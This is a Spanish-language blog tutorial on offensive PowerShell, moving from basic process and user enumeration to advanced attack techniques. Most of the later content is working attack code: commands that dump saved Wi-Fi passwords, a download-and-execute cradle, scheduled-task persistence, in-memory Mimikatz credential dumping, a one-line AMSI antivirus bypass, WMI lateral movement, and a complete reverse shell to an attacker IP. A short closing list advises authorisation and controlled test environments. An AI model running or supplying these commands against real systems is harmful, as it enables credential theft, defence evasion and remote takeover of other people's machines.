Pentesting con PowerShell de Menor a Mayor

Guillermo QuintanaNoticias5 months ago152 Views

Pentesting con PowerShell de Menor a Mayor

PowerShell se ha convertido en una herramienta imprescindible en las auditorías de seguridad y pentesting sobre sistemas Windows. Su potencia, integración con el sistema operativo y la capacidad de ejecutar scripts complejos lo convierten en un aliado ideal tanto para administradores como para atacantes. A continuación, veremos un recorrido progresivo: desde ejemplos sencillos hasta técnicas más sofisticadas.

Comandos y Reconocimiento

Enumeración de procesos

El primer paso en un pentest suele ser conocer qué se está ejecutando en el sistema.

Get-Process

Esto lista todos los procesos. Si queremos algo más filtrado:

Get-Process | Where-Object { $_.CPU -gt 100 }

Este comando mostrará procesos que consumen más de 100 unidades de CPU, útil para identificar procesos sospechosos.

Enumeración de servicios

Para listar todos los servicios y su estado:

Get-Service

Si buscas servicios concretos en ejecución:

Get-Service | Where-Object { $_.Status -eq 'Running' }

Información de red

Ver conexiones activas:

Get-NetTCPConnection

Un ejemplo con filtrado:

Get-NetTCPConnection | Where-Object { $_.State -eq 'Established' }

Nivel Intermedio: Enumeración Avanzada y Recolección de Credenciales

Recolectar información de usuarios

Para enumerar usuarios locales:

Get-LocalUser

Y para obtener grupos locales:

Get-LocalGroup

Ver miembros de un grupo específico (por ejemplo, Administradores):

Get-LocalGroupMember -Group 'Administrators'

Esto es muy útil en la fase de reconocimiento interno.

Extraer credenciales de redes Wi-Fi

En algunos entornos, los usuarios almacenan credenciales de Wi-Fi:

(netsh wlan show profiles) | Select-String "Perfil de todos los usuarios"

Luego, puedes extraer la contraseña de un perfil:

netsh wlan show profile name="NombrePerfil" key=clear

Descargar y ejecutar scripts de PowerShell remotamente

Una técnica intermedia consiste en aprovechar Invoke-Expression o IEX para traer y correr payloads desde Internet:

IEX (New-Object Net.WebClient).DownloadString('http://servidor_remoto/script.ps1')

Este método es muy común en fases de post-explotación y carga de herramientas como PowerView o Empire.

Nivel Avanzado: Persistencia, Evasión y Post-Explotación

Creación de persistencia mediante tareas programadas

Para crear una tarea que se ejecute al iniciar sesión:

$action = New-ScheduledTaskAction -Execute 'powershell.exe' -Argument '-WindowStyle Hidden -Command "Start-Process notepad.exe"'
$trigger = New-ScheduledTaskTrigger -AtLogOn
Register-ScheduledTask -TaskName "MiPersistencia" -Action $action -Trigger $trigger -Description "Ejecuta Notepad al inicio de sesión"

Obviamente, en un entorno real puedes reemplazar notepad.exe por tu payload.

Dump de credenciales con Mimikatz en PowerShell

Una técnica avanzada es invocar Mimikatz en memoria. Por ejemplo, con Invoke-Mimikatz del módulo PowerSploit:

IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1')
Invoke-Mimikatz -Command 'sekurlsa::logonpasswords'

Esto extrae las credenciales de sesiones activas sin escribir nada en disco.

Evasión de AMSI (Antimalware Scan Interface)

Si el entorno tiene AMSI activado, puedes deshabilitarlo temporalmente con:

[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)

Esto permite ejecutar scripts maliciosos sin ser bloqueados.

Nivel Experto: Movimiento Lateral y Control Remoto

Movimiento lateral con WMI

Para ejecutar un comando en otra máquina:

Invoke-WmiMethod -Class Win32_Process -ComputerName "nombre_maquina_remota" -Credential (Get-Credential) -Name Create -ArgumentList "powershell.exe -Command `"Start-Process notepad.exe`""

Si ya posees credenciales administrativas, esto te permite expandir tu acceso en la red.

Reverse Shell con PowerShell puro

Un ejemplo de reverse shell sencillo (PowerShell puro):

$client = New-Object System.Net.Sockets.TCPClient('IP_ATACANTE',4444); 
$stream = $client.GetStream(); 
[byte[]]$bytes = 0..65535|%{0}; 
while(($i = $stream.Read($bytes,0,$bytes.Length)) -ne 0){
 $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i); 
 $sendback = (iex $data 2>&1 | Out-String ); 
 $sendback2 = $sendback + 'PS ' + (pwd).Path + '> '; 
 $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2); 
 $stream.Write($sendbyte,0,$sendbyte.Length); 
 $stream.Flush()
}

Cuando tu listener (por ejemplo, nc -lvnp 4444) reciba la conexión, podrás ejecutar comandos remotamente.

Debajo les dejamos algunas recomendaciones en base a nuestra experiencia.

Segmenta tu pentest en fases: Reconocimiento, explotación, post-explotación y reporte.

Testea en un entorno controlado: Nunca ejecutes estos scripts en sistemas productivos sin autorización.

Utiliza logging y auditoría: Mantén un registro de todo lo que haces para tu informe final.

Automatiza tareas repetitivas: PowerShell permite crear scripts modulares para cada fase.

Mantente actualizado: Herramientas como PowerView, Empire y PowerSploit evolucionan constantemente.

El pentesting con PowerShell es una disciplina poderosa que exige conocimiento profundo tanto de Windows como de técnicas ofensivas. Desde enumerar procesos hasta evadir antivirus y moverte lateralmente, PowerShell ofrece todo un arsenal. Si estás empezando, te recomiendo practicar los ejemplos básicos antes de avanzar hacia técnicas más agresivas como la ejecución en memoria y la evasión de AMSI.

4 Votes: 4 Upvotes, 0 Downvotes (4 Points)

Previous Post

Next Post

Loading Next Post...
Follow
Search Trending
Popular Now
Loading

Signing-in 3 seconds...

Signing-up 3 seconds...

Cart
Cart updating

ShopYour cart is currently is empty. You could visit our shop and start shopping.